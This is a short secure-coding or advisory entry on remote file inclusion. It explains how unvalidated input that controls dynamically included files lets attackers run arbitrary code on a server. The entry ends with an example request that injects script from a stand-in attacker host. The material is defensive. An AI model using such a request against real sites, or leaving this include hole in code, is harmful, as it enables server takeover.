Dangerous File Inclusion: Remote

Allowing unvalidated user input to control files that are included dynamically in an HTML file can lead to malicious code execution.

A remote PHP inclusion attack can allow an attacker to execute code on the server with the permissions of the process that would indicate a user of PHP, apache, or nobody. These vulnerabilities occur when an attacker can influence the application to read files from remote systems. Attackers can cause arbitrary PHP code to run on the web server. Allow for a properly crafted URL to execute code. Possibly fetching and incorporating data from arbitrary URLs supplied by an attacker. This can have multiple consequences, ranging from Cross-Site Scripting vulnerabilities to the execution of arbitrary script code.
Arbitrary command execution allows an attacker access to the server with the permissions of the web server user. This could lead to the installation of a backdoor, privilege escalation, or other malicious code. The attacker can cause the application to fetch and display arbitrary URLs, which allows the attacker to feed specific information to the application for processing and display. Many web application platforms (notably PHP) allow the interpretation of PHP script fetched from remote URLs. This can result in the attack running arbitrary script code on the web server by causing the web application to fetch a URL that returns script code.
Example 1: Requesting the URL policy.jsp?privacy=http://www.malicioushost.com/attackdata.js allows an attacker to inject malicious code into the current JSP page from a remote site controlled by the attacker.